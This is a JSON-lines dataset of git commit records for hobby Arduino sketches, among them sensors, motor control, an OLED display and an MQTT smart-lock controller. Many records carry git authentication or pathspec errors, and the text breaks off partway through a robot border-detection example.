'temperature_sensor\/esp8266_dht22_adafruitio_pubsubclient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cba0152e5ed9786b25e0a7938992fab74c7a7bf3","subject":"Initial Commit","message":"Initial Commit\n","repos":"WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada,WSPCrea\/2017-aki-kada","old_file":"Arduino\/gyro-temprature-pressure\/gyro-temprature-pressure.ino","new_file":"Arduino\/gyro-temprature-pressure\/gyro-temprature-pressure.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WSPCrea\/2017-aki-kada.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f312635f98ac8c43d571243a8ea9faf4ce3fe0d3","subject":"fix comment","message":"fix comment\n","repos":"timofonic\/keyboard","old_file":"musical\/serial_test\/sketch.ino","new_file":"musical\/serial_test\/sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timofonic\/keyboard.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"4e887413cb7aeb7b2f51f4e775756bba00027790","subject":"Adding a '3' command for blinky time","message":"Adding a '3' command for blinky time\n","repos":"meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand","old_file":"arduino\/LEDSwitch\/LEDSwitch.ino","new_file":"arduino\/LEDSwitch\/LEDSwitch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/meatballhat\/box-o-sand.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a6f7e0cf92c8b0a1be3a587447da15dd437cbd3","subject":"Added files via upload","message":"Added files via upload","repos":"TraviOso\/Arduino-libraries-for-PARTICLE,TraviOso\/Arduino-libraries-for-PARTICLE","old_file":"firmware\/examples\/SimpleAudioPlayer.ino","new_file":"firmware\/examples\/SimpleAudioPlayer.ino","new_contents":"\/*\n Simple Audio Player\n\n Demonstrates the use of the Audio library for the Arduino Due\n\n Hardware required :\n * Arduino shield with a SD card on CS4\n * A sound file named \"test.wav\" in the root directory of the SD card\n * An audio amplifier to connect to the DAC0 and ground\n * A speaker to connect to the audio amplifier\n\n Original by Massimo Banzi September 20, 2012\n Modified by Scott Fitzgerald October 19, 2012\n Modified by Arturo Guadalupi December 18, 2015\n\n This example code is in the public domain\n\n http:\/\/www.arduino.cc\/en\/Tutorial\/SimpleAudioPlayer\n\n*\/\n\n#include <SD.h>\n#include <SPI.h>\n#include <Audio.h>\n\nvoid setup() {\n \/\/ debug output at 9600 baud\n Serial.begin(9600);\n\n \/\/ setup SD-card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(4)) {\n Serial.println(\" failed!\");\n while(true);\n }\n Serial.println(\" done.\");\n \/\/ hi-speed SPI transfers\n\n \/\/ 44100kHz stereo => 88200 sample rate\n \/\/ 100 mSec of prebuffering.\n Audio.begin(88200, 100);\n}\n\nvoid loop() {\n int count = 0;\n\n \/\/ open wave file from sdcard\n File myFile = SD.open(\"test.wav\");\n if (!myFile) {\n \/\/ if the file didn't open, print an error and stop\n Serial.println(\"error opening test.wav\");\n while (true);\n }\n\n const int S = 1024; \/\/ Number of samples to read in block\n short buffer[S];\n\n Serial.print(\"Playing\");\n \/\/ until the file is not finished\n while (myFile.available()) {\n \/\/ read from the file into buffer\n myFile.read(buffer, sizeof(buffer));\n\n \/\/ Prepare samples\n int volume = 1024;\n Audio.prepare(buffer, S, volume);\n \/\/ Feed samples to audio\n Audio.write(buffer, S);\n\n \/\/ Every 100 block print a '.'\n count++;\n if (count == 100) {\n Serial.print(\".\");\n count = 0;\n }\n }\n myFile.close();\n\n Serial.println(\"End of file. Thank you for listening!\");\n while (true) ;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/SimpleAudioPlayer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abc4af6c4102f4c5b4d01e4065af316b2eb9eb3b","subject":"Changed REPORT_INTERVAL to 100 ms.","message":"Changed REPORT_INTERVAL to 100 ms.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b034e966ab01ed92481cbe8a3493d2c11d94107c","subject":"Changed UziFirmware.ino to use the new EEPROMWearLevelingReader.","message":"Changed UziFirmware.ino to use the new EEPROMWearLevelingReader.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"50fc4ea2397917be893c490e6af9e572c63115c5","subject":"BBQ Thermometer","message":"BBQ Thermometer\n","repos":"deveth0\/MySensors","old_file":"ArduinoSketches\/BBQ-Thermometer\/BBQ-Thermometer.ino","new_file":"ArduinoSketches\/BBQ-Thermometer\/BBQ-Thermometer.ino","new_contents":"\/\/ Enable debug prints to serial monitor\n#define MY_DEBUG\n\n\/\/ Enable and select radio type attached\n#define MY_RADIO_NRF24\n#define MY_RF24_CE_PIN 9\n#define MY_RF24_CS_PIN 10\n\n\/\/ Sleep time between reads (in milliseconds)\nunsigned long SLEEP_TIME = 3000;\n\n#include <MySensors.h>\n\n\/\/ Thermistor\n#define THERMISTORPIN A0 \n\/\/ the value of 'R2' resistor\n#define SERIESRESISTOR 10000 \n\n\/\/ Steinhart Coefficients\nfloat a = 0.2476197866e-03, b = 2.943226015e-04, c = -2.129189836e-07;\n\n\/\/ ID used\n#define CHILD_ID 23\nMyMessage tempMsg(CHILD_ID,V_TEMP);\n\n\n\nvoid presentation() {\n \/\/ Send the sketch version information to the gateway and Controller\n sendSketchInfo(\"BBQ Sensor\", \"1.1\");\n\n \/\/ Register all sensors to gw\n present(CHILD_ID, S_TEMP);\n}\n \nvoid loop(void) {\n analogRead(THERMISTORPIN);\n \n float analog = analogRead(THERMISTORPIN);\n \/\/ Calculate the actual resistance\n float R1 = SERIESRESISTOR * (1023.0 \/ analog - 1.0);\n \/\/ Calculate the temperature\n float steinhart;\n steinhart = a; \/\/ A\n steinhart += b * log(R1); \/\/ + B * ln(R)\n steinhart += c * log(R1) * log(R1)* log(R1); \/\/ + C * (ln(R))^3\n steinhart = 1.0 \/ steinhart; \/\/ 1\/(...)\n\n float temperature = steinhart - 273.15; \/\/ convert to \u00b0C\n\n \/\/ Debug Output\n #ifdef MY_DEBUG\n Serial.print(\"Temperature = \"); Serial.print(temperature); Serial.println(\" *C\"); \n #endif\n send(tempMsg.set(temperature, 1));\n sleep(SLEEP_TIME);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoSketches\/BBQ-Thermometer\/BBQ-Thermometer.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fcaccf83857709c75e9d74aa96744e9d8f9a8857","subject":"Add Arduino code","message":"Add Arduino code\n","repos":"phodal\/valentine,phodal\/valentine,Haixing-Hu\/valentine,phodal\/valentine,Haixing-Hu\/valentine,Haixing-Hu\/valentine,phodal\/valentine","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"#include <IRremote.h>\n\nint starPort = 12;\nIRsend irsend;\n\nvoid setup() { \n Serial.begin(9600); \n pinMode(starPort, OUTPUT); \n}\n\nint serialData;\nvoid loop() {\n String inString = \"\";\n while (Serial.available()> 0)\n {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n inString += (char)inChar; \n }\n serialData=inString.toInt();\n Serial.print(serialData);\n }\n if(serialData == 1){\n digitalWrite(starPort, HIGH); \n } else \n if( serialData == 2){\n irsend.sendNEC(0xFF906F,32); \/\/ Sony TV power code\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c36f995f762509bff6722f5d8548c347af1cfc94","subject":"Create motor_1.ino","message":"Create motor_1.ino","repos":"RationalAsh\/invkin,RationalAsh\/invkin,RationalAsh\/invkin","old_file":"arduino\/motor_1.ino","new_file":"arduino\/motor_1.ino","new_contents":"#include <Wire.h> \ndouble potcurval; \/\/ variable to read the value from the analog pin \nint angel; \/\/Integer value of angle\n double angle =0;\n\n double curangle,kP=30.00,kI=0,kD=0,Last=0;\n double P=0,I=0,D=0,Drive,Error=0,Integral=0;\n \n String inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n void backward()\n {\n digitalWrite(12,HIGH);\n digitalWrite(9,LOW);\n }\n void forward()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,HIGH);\n }\n void halt()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,LOW);\n }\nvoid setup() \n{ \n \/\/ myservo.attach(6); \/\/ attaches the servo on pin 9 to the servo object \n pinMode(9,OUTPUT);\n pinMode(12,OUTPUT);\n Serial.begin(9600);\n pinMode(11,OUTPUT);\n pinMode(13, OUTPUT);\n inputString.reserve(5);\n Wire.begin(1);\n Wire.onReceive(receiveEvent);\n} \n void Errorcalc()\n {\n potcurval=(double)analogRead(A0)+1;\n potcurval=(potcurval\/1024)*5;\n curangle=(potcurval\/5)*270;\n \n Error = curangle-angle;\n }\nvoid loop() \n{ \n Serial.print(\"got: \");\n\t Serial.println(angle);\n\t if(angle > 127) digitalWrite(13, HIGH);\n\t else digitalWrite(13, LOW);\n Errorcalc();\n if (abs(Error) <2.2){ \/\/ prevent integral 'windup'\n Integral = Integral + Error; \/\/ accumulate the error integral\n }\n else {\n Integral=0; \/\/ zero it if out of bounds\n }\n P = Error*kP; \/\/ calc proportional term\n I = Integral*kI; \/\/ integral term\n D = (Last-curangle)*kD; \/\/ derivative term\n \n Drive = P + I + D; \/\/ Total drive = P+I+D\n \n \/\/Drive = (Drive\/550)*255; \/\/ scale Drive to be in the range 0-255\n \n if(abs(Drive) < 60)\n {\n Drive += (Drive\/abs(Drive)) *60;\n }\n if (abs(Drive)>255) {\n Drive=(Drive\/abs(Drive)) *255;\n }\n \n \n Serial.println(Error);\n if (Error < 0){ \/\/ Check which direction to go.\n forward();\n \n }\n else if(Error >=0){ \/\/ depending on the sign of Error\n backward();\n \n }\n \n if(abs(Error)<2)\n {\n halt();\n }\n \n analogWrite (11,abs(Drive)); \/\/ send PWM command to motor board\n Last=curangle;\n \/*\n Serial.println(\"P :\");\n Serial.println(P);\n Serial.println(\"I :\");\n Serial.println(I);\n Serial.println(\"D :\");\n Serial.println(D);\n *\/\n\n}\n\nvoid receiveEvent(int howMany)\n{\n int x = Wire.read();\n angle = (double) x;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/motor_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"11d4d9f111dd89915e151e3d576d0494f9689142","subject":"Create SimpleTimer.ino","message":"Create SimpleTimer.ino","repos":"jacky4566\/ParticleCyclicalTimer","old_file":"examples\/SimpleTimer.ino","new_file":"examples\/SimpleTimer.ino","new_contents":"\/\/This timer will return true between the hours of 8:43 and 21:40 Local time. \n\n#include \"ParticleCyclicalTimer\/ParticleCyclicalTimer.h\"\n\ncycleTimer timer1((byte)8,(byte)43, (byte)21, (byte)40);\n\nvoid setup()\n{\nTime.zone(-6);\n}\nvoid loop(){\n\tSerial.print(Time.hour(Time.now()));\n\tSerial.print(\":\");\n\tSerial.print(Time.minute(Time.now()));\n\tSerial.print(\":\");\n\tSerial.println(Time.second(Time.now()));\n\n\tif (timer1.isActive()){\n\t\tSerial.println(\"Timer active\");\n\t}\n\n\tdelay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimpleTimer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a26050da153b9cc6aa8179f3794755442b1cbbad","subject":"another test - modified a file in branch","message":"another test - modified a file in branch\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6e731b69f37eae54cf3faf1dd9097692ee5d29b9","subject":"Added random visualization to repo","message":"Added random visualization to repo\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"nodemcu_oled_random.ino","new_file":"nodemcu_oled_random.ino","new_contents":"#include \"SSD1306.h\"\n\nSSD1306 display(0x3c, D3, D4); \/\/ Specify pins display is connected to\n\nint len = 128;\nint ht = 64;\nint board[128][64];\n\nvoid drawBoard(int[128][64]);\nvoid randomBoard();\n\nvoid setup(){\n display.init();\n display.clear();\n display.setFont(ArialMT_Plain_10);\n display.drawString(40, 15, \"Random\");\n display.drawString(32, 30, \"Visualization\");\n display.display();\n delay(2000);\n display.clear();\n}\n\nvoid loop() {\n drawBoard(board);\n randomBoard();\n delay(10);\n}\n\nvoid drawBoard(int boardToDraw[128][64]){\n display.clear();\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n if(board[x][y] == 1){\n display.setPixel(x,y);\n }\n }\n }\n display.display();\n}\n\nvoid randomBoard(){\n for(int x=0; x<len; x++){\n for(int y=0; y<ht; y++){\n board[x][y] = random(0,2);\n }\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodemcu_oled_random.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f46cbd815d462d6cbc33861fb982add9fb150d71","subject":"xbee testing code","message":"xbee testing code\n","repos":"AlbertZheng36\/ProjectDavid,AlbertZheng36\/ProjectDavid","old_file":"control\/control.ino","new_file":"control\/control.ino","new_contents":"void setup() {\n Serial.begin(115200);\n}\n\nchar senddata = '1';\n\nvoid loop() {\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n Serial.print(senddata);\n delay(1000);\n senddata = (senddata + 1 - 49)%5 +49;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'control\/control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8617cc97f0f7d69f068e6b2de0a3492520a3aa0a","subject":"add the template for CS26410 robot control programs.","message":"add the template for CS26410 robot control programs.\n","repos":"naturesyouth\/CS26410","old_file":"CS26410.ino","new_file":"CS26410.ino","new_contents":"#include <SharpIR.h>\n#include <NewPing.h>\n#include <Servo.h>\n\n#define LDRLeft A0\n#define LDRCenter A1\n#define LDRRight A2\n#define LDRTop A4\n#define SharpIr A3\n\n#define SerialRx 0\n#define SerialTx 1\n#define IrRx 2\n#define IrTx 3\n#define PB1 4\n#define Dright 5\n#define Dleft 6\n#define LEDRed 7\n#define Ping1 8\n#define Ping2 9\n#define Ping3 10\n#define Ping4 11\n#define SharpIrEnable 12\n#define turret 13\n\n\nServo Driveleft;\nServo Driveright;\nServo Turret;\nSharpIR IRRangeFinder(SharpIr, 25, 93, 20150);\nNewPing sonar1(Ping1, Ping1, 200);\nNewPing sonar1(Ping2, Ping2, 200);\nNewPing sonar1(Ping3, Ping3, 200);\nNewPing sonar1(Ping4, Ping4, 200);\n\nvoid setup() {\n \n Driveleft.attach(Dleft);\n Driveright.attach(Dright);\n Turret.attach(turret);\n \n pinMode(LDRLeft, INPUT);\n pinMode(LDRCenter, INPUT);\n pinMode(LDRRight, INPUT);\n pinMode(LDRTop, INPUT);\n pinMode(PB1,INPUT);\n \n pinMode(SharpIrEnable, OUTPUT);\n pinMode(LEDRed, OUTPUT);\n \n \n}\n\nvoid loop(){\ndelay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CS26410.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a78fa89c181f99fdac0555fd688121ee23a48003","subject":"More footwork trainer code","message":"More footwork trainer code\n","repos":"jrafidi\/fencing-devices,jrafidi\/fencing-devices","old_file":"Footwork Trainer\/FootworkTrainer\/FootworkTrainer.ino","new_file":"Footwork Trainer\/FootworkTrainer\/FootworkTrainer.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Footwork' did not match any file(s) known to git\nerror: pathspec 'Trainer\/FootworkTrainer\/FootworkTrainer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"57abaa3a327171ef2e8ed0cdbd92bef67f8052cc","subject":"Adding spark source","message":"Adding spark source\n","repos":"rastapasta\/strombewusst,rastapasta\/strombewusst","old_file":"spark\/strombewusstsein.ino","new_file":"spark\/strombewusstsein.ino","new_contents":"\n#define STROMBEWUSST_IP (192,168,178,49)\n\/\/(188, 40, 78, 147)\n#define STROMBEWUSST_PORT 8888\n#define PIN D4\n\n\nUDP Udp;\nbyte udpBuffer[26];\nIPAddress strombewusstIP STROMBEWUSST_IP;\n\nvolatile bool gotSignal = FALSE;\nconst unsigned int localPort = 8888;\nunsigned int currentWatts = 0;\nunsigned long lastSignal = 0;\nunsigned int lastWatts = 0;\n\nvoid setup() {\n \/\/ Setup the signal processing\n attachInterrupt(PIN, signalInterrupt, FALLING);\n \n \/\/ Prepare the UDP buffer\n char buffer[25];\n String sparkID = Spark.deviceID();\n sparkID.toCharArray(buffer, 25);\n for (byte i=0; i<23; i++)\n udpBuffer[i] = buffer[i];\n \n Udp.begin(localPort);\n}\n\nvoid loop() {\n if (gotSignal) {\n gotSignal = FALSE;\n \n RGB.control(true);\n RGB.color(255,0,0);\n\n processSignal();\n sendUdp();\n }\n \n if (RGB.controlled() && (micros()-lastSignal) > 2000000) {\n RGB.control(false);\n }\n}\n\nvoid signalInterrupt() {\n gotSignal = TRUE;\n}\n\nvoid processSignal()\n{\n unsigned long now = micros();\n \n \/\/ Fix glimps - there should be at least 5ms between each signal\n if ((now-lastSignal) < 50000)\n return;\n \n lastWatts = currentWatts; \n currentWatts = 4500000 \/ ((now-lastSignal)\/1000);\n\n if (currentWatts == 1)\n currentWatts = lastWatts;\n\n lastSignal = now;\n}\n\nvoid sendUdp() {\n Udp.beginPacket(strombewusstIP, STROMBEWUSST_PORT);\n udpBuffer[24] = currentWatts>>8;\n udpBuffer[25] = currentWatts%256;\n Udp.write(udpBuffer, 26);\n Udp.endPacket();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark\/strombewusstsein.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3429dda5f69757aa491dcf379562598d239d9f66","subject":"ESP8266 MQTT software","message":"ESP8266 MQTT software","repos":"andreMarcosPerez\/SEL0373_digitalSystemsProjects,andreMarcosPerez\/SEL0373_digitalSystemsProjects,andreMarcosPerez\/SEL0373_digitalSystemsProjects","old_file":"mqtt_d1mini\/mqtt_d1mini.ino","new_file":"mqtt_d1mini\/mqtt_d1mini.ino","new_contents":"\/*\n ESP8266 SMART LOCK MQTT \n\n AUTHORS: ANDRE MARCOS PEREZ NUSP 8006891\n LEONARDO NUNES PARENTE NUSP 7987352\n\n SEL373 PROJETOS EM SISTEMAS DIGITAIS\n \n It connects to an MQTT server then:\n - publishes \"c\" to the topic \"home\/hallSensor\" when the sensor state changes from HIGH to LOW (door closed).\n - publishes \"o\" to the topic \"home\/hallSensor\" when the sensor state changes from LOW to HIGH (door opened).\n - publishes \"m\" to the topic \"home\/pirSensor\" when the PIR sensor state changes from LOW to HIGH (movement detected).\n - subscribes to the topic \"home\/lock\", NB - it assumes the received payloads are strings not binary.\n - If the first character of the topic \"home\/lock\" is a 0, the motor is turned clockwise closing the door.\n - If the first character of the topic \"home\/lock\" is an 1, the motor is turned anticlockwise opening the door.\n - If the first character of the topic \"home\/lock\" is an 3, the battery level is measured and published to the topic \n \"home\/battery\".\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n\/\/Connect to router\nconst char* ssid = \"LabMicros\";\nconst char* password = \"abc01234def\";\nconst char* mqtt_server = \"192.168.1.111\";\nbool hall_flag;\nbool motion_flag;\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nchar msg[10];\n\n\/\/Blink the blue led when something is published or read\nvoid commandLED(){\n digitalWrite(D1, HIGH);\n delayMicroseconds(15000);\n digitalWrite(D1, LOW);\n}\n\n\nvoid setup_wifi() {\n\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n randomSeed(micros());\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\n\/*----------- Subscribe to home\/lock -----------*\/\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i = 0; i < length; i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n\n \/\/ Switch on the MOTOR if an 1 was received as first character\n if ((char)payload[0] == '0') {\n digitalWrite(D6, HIGH); \/\/ OPEN THE DOOR\n delay(500);\n digitalWrite(D6, LOW);\n } \n if ((char)payload[0] == '1'){\n digitalWrite(D7, HIGH); \/\/ CLOSE THE DOOR\n delay(500);\n digitalWrite(D7, LOW);\n }\n \/\/Publish battery level\n if ((char)payload[0] == '2'){\n int value = analogRead(A0);\n snprintf (msg, 10, \"o\");\n client.publish(\"home\/baterry\", msg);\n }\n\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Create a random client ID\n String clientId = \"ESP8266Client-\";\n clientId += String(random(0xffff), HEX);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n Serial.println(\"connected\");\n \/\/ Once connected, resubscribe\n client.subscribe(\"home\/lock\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\n\n\nvoid setup() {\n pinMode(D3, INPUT); \/\/ Initialize D3 pin as an INPUT (Hall sensor)\n pinMode(D8, INPUT); \/\/ Initialize D5 pin as an INPUT (PIR sensor)\n pinMode(D6, OUTPUT); \/\/ Initialize D6 pin as an OUTPUT MOTOR CLOCKWISE\n pinMode(D7, OUTPUT); \/\/ Initialize D7 pin as an OUTPUT MOTOR ANTICLOCKWISE\n pinMode(D1, OUTPUT); \/\/ Initialize D1 pin as the BLUE COMMAND LED\n pinMode(D2, OUTPUT); \/\/ Initialize D2 pin as the LOW BATTERY INDICADOR LED (RED)\n digitalWrite(D6, LOW); \/\/ Initialize Motor as Stoped\n digitalWrite(D7, LOW); \/\/ Initialize Motor as Stoped\n if (digitalRead(D3) == HIGH) {\n hall_flag = true;\n }\n else {\n hall_flag = false;\n }\n if (digitalRead(D8) == HIGH) {\n motion_flag = true;\n }\n else {\n motion_flag = false;\n }\n \n Serial.begin(115200);\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n}\n\n\n\/*--------------- MAIN LOOP -----------*\/\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n \/\/check hall sensor\n if (digitalRead(D3) == HIGH) {\n if (hall_flag == false) {\n snprintf (msg, 10, \"o\");\n client.publish(\"home\/hallSensor\", msg);\n Serial.println(\"opened\");\n commandLED();\n }\n hall_flag = true;\n }\n else {\n if (hall_flag == true) {\n snprintf (msg, 10, \"c\");\n client.publish(\"home\/hallSensor\", msg);\n Serial.println(\"closed\");\n commandLED();\n }\n hall_flag = false;\n }\n \/\/check motion sensor\n if (digitalRead(D8) == HIGH) {\n if (motion_flag == false) {\n snprintf (msg, 10, \"m\");\n client.publish(\"home\/pirSensor\", msg);\n Serial.println(\"motion\");\n motion_flag = true;\n commandLED();\n }\n }\n else {\n if (motion_flag) {\n Serial.println(\"ended\");\n motion_flag = false;\n }\n }\n client.loop();\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mqtt_d1mini\/mqtt_d1mini.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ec23a3c046a67010af21d972914a9b1c3970b8d","subject":"added BorderDetectExample","message":"added BorderDetectExample\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"ZumoExamples\/examples\/BorderDetectExample\/BorderDetectExample.ino","new_file":"ZumoExamples\/examples\/BorderDetectExample\/BorderDetectExample.ino","new_contents":"#include <ZumoBuzzer.h>\n#include <ZumoMotors.h>\n#include <Pushbutton.h>\n#include <QTRSensors.h>\n#include <ZumoReflectanceSensorArray.h>\n \n#define LED 13\n \n\/\/ this might need to be tuned for different lighting conditions, surfaces, etc.\n#define QTR_THRESHOLD 1500 \/\/ microseconds\n \n\/\/ these might need to be tuned for different motor types\n#define REVERSE_SPEED 200 \/\/ 0 is stopped, 400 is full speed\n#define TURN_SPEED 200\n#define FORWARD_SPEED 200\n#define REVERSE_DURATION 200 \/\/ ms\n#define TURN_DURATION 400 \/\/ ms\n \nZumoBuzzer buzzer;\nZumoMotors motors;\nPushbutton button(ZUMO_BUTTON); \/\/ pushbutton on pin 12\n \n#define NUM_SENSORS 6\nunsigned int sensor_values[NUM_SENSORS];\n \nZumoReflectanceSensorArray sensors(QTR_NO_EMITTER_PIN);\n\nvoid waitForButtonAndCountDown()\n{\n digitalWrite(LED, HIGH);\n button.waitForButton();\n digitalWrite(LED, LOW);\n \n \/\/ play audible countdown\n for (int i = 0; i < 3; i++)\n {\n delay(1000);\n buzzer.playNote(NOTE_G(3), 200, 15);\n }\n delay(1000);\n buzzer.playNote(NOTE_G(4), 500, 15); \n delay(1000);\n}\n \nvoid setup()\n{\n \/\/ uncomment if necessary to correct motor directions\n \/\/motors.flipLeftMotor(true);\n \/\/motors.flipRightMotor(true);\n \n pinMode(LED, HIGH);\n \n waitForButtonAndCountDown();\n}\n\nvoid loop()\n{\n if (button.isPressed())\n {\n \/\/ if button is pressed, stop and wait for another press to go again\n motors.setSpeeds(0, 0);\n button.waitForRelease();\n waitForButtonAndCountDown();\n }\n \n\n sensors.read(sensor_values);\n \n if (sensor_values[0] < QTR_THRESHOLD)\n {\n \/\/ if leftmost sensor detects line, reverse and turn to the right\n motors.setSpeeds(-REVERSE_SPEED, -REVERSE_SPEED);\n delay(200);\n motors.setSpeeds(TURN_SPEED, -TURN_SPEED);\n delay(300);\n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED);\n }\n else if (sensor_values[5] < QTR_THRESHOLD)\n {\n \/\/ if rightmost sensor detects line, reverse and turn to the left\n motors.setSpeeds(-REVERSE_SPEED, -REVERSE_SPEED);\n delay(200);\n motors.setSpeeds(-TURN_SPEED, TURN_SPEED);\n delay(300);\n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED);\n }\n else\n {\n \/\/ otherwise, go straight\n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED);\n 